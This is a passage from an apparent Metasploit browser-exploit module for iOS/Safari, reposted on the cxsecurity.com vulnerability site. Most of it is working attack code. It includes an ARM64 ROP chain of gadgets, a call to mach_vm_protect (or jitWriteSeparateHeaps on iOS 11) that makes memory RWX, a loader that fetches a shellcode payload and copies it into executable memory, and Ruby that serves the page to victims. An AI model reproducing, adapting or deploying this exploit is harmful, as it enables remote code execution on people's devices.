0xdaad0014; // x27 == x6 (unused) arr[pos++] = 0xdaad0015; // x27 == x6 (unused) arr[pos++] = 0xdaad0016; // x26 (unused) arr[pos++] = 0xdaad0017; // x26 (unused) arr[pos++] = 0xdaad0018; // x25 (unused) arr[pos++] = 0xdaad0019; // x25 (unused) arr[pos++] = 0xdaad00f0; // x24 (unused) arr[pos++] = 0xdaad00f1; // x24 (unused) arr[pos++] = 0xdaad00f2; // x23 (unused) arr[pos++] = 0xdaad00f3; // x23 (unused) arr[pos++] = 0xdaad00f4; // x22 (unused) arr[pos++] = 0xdaad00f5; // x22 (unused) arr[pos++] = func.lo(); // x21 (target for dispatch) arr[pos++] = func.hi(); // x21 (target for dispatch) arr[pos++] = 0xdaad0018; // x20 (unused) arr[pos++] = 0xdaad0019; // x20 (unused) tmppos = pos; arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19]) arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19]) arr[pos++] = 0xdaad001c; // x29 (unused) arr[pos++] = 0xdaad001d; // x29 (unused) arr[pos++] = ldrx8.lo(); // x30 (next gadget) arr[pos++] = ldrx8.hi(); // x30 (next gadget) // in ldrx8 arr[pos++] = dispatch.lo(); // x8 (target for movx4) arr[pos++] = dispatch.hi(); // x8 (target for movx4) arr[pos++] = 0xdaad1401; // (unused) arr[pos++] = 0xdaad1402; // (unused) arr[pos++] = x4.lo(); // x20 == x4 (arg5) arr[pos++] = x4.hi(); // x20 == x4 (arg5) arr[pos++] = 0xdaad1301; // x19 (unused) arr[pos++] = 0xdaad1302; // x19 (unused) arr[pos++] = 0xdaad1201; // x29 (unused) arr[pos++] = 0xdaad1202; // x29 (unused) arr[pos++] = movx4.lo(); // x30 (next gadget) arr[pos++] = movx4.hi(); // x30 (next gadget) } // after dispatch: // keep only one: these or 0xdeaded01 arr[pos++] = 0xdead0022; // unused arr[pos++] = 0xdead0023; // unused arr[pos++] = 0xdead0022; // unused arr[pos++] = 0xdead0023; // unused arr[pos++] = 0xdead0024; // x22 (unused) arr[pos++] = 0xdead0025; // x22 (unused) arr[pos++] = 0xdead0026; // x21 (unused) arr[pos++] = 0xdead0027; // x21 (unused) arr[pos++] = 0xdead0028; // x20 (unused) arr[pos++] = 0xdead0029; // x20 (unused) arr[pos++] = 0xdead002a; // x19 (unused) arr[pos++] = 0xdead002b; // x19 (unused) arr[pos++] = 0xdead002c; // x29 (unused) arr[pos++] = 0xdead002d; // x29 (unused) arr[pos++] = jump_to.lo(); // x30 (gadget) arr[pos++] = jump_to.hi(); // x30 (gadget) } var add_call = function(func, x0, x1, x2, x3, x4, jump_to) { x0 = x0 || Int64.Zero x1 = x1 || Int64.Zero x2 = x2 || Int64.Zero x3 = x3 || Int64.Zero jump_to = jump_to || stackloader return (ldrx8 ? add_call_via_x8 : add_call_llvm)( func, x0, x1, x2, x3, x4, jump_to ) } #{ios_11 ? ' if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) { add_call(jitWriteSeparateHeaps , Sub(codeAddr, memPoolStart) // off , paddr // src , shsz // size ); } else { fail("jitWrite"); } ' : ' add_call(mach_vm_protect, mach_task_self_, // task codeAddr, // addr shsz, // size new Int64(0), // set maximum new Int64(7) // prot (RWX) ); add_call(memmove, codeAddr, // dst paddr, // src shsz // size ); '} add_call(codeAddr, dlopen, dlsym, jitWriteSeparateHeaps, memPoolStart, memPoolEnd, ); for(var i = 0; i < 0x20; ++i) { arr[pos++] = 0xde00c0de + (i<<16); } var sp = Add(stack, (arrsz - off) * 4); memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29 memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp) // trigger //print("u rdy?") wrapper.addEventListener("click", function(){}); } #{get_mem_rw} function go() { try { var req = new XMLHttpRequest; req.open("GET", "exploit"); req.responseType = "arraybuffer"; req.addEventListener("load", function() { try { if (req.responseType != "arraybuffer") throw "y u no blob"; payload.set(new Uint8Array(req.response), 0x0); pwn(); } catch (e) { fail("Error: " + e + (e != null ? " " + e.stack : "")) } }); req.addEventListener("error", function(ev) { fail(ev) }); req.send() } catch (e) { fail("Error: " + e + (e != null ? " " + e.stack : "")) } }; go(); </script> </body> </html> ^ unless datastore['DEBUG_EXPLOIT'] html.gsub!(/\/\/.*$/, '') # strip comments html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top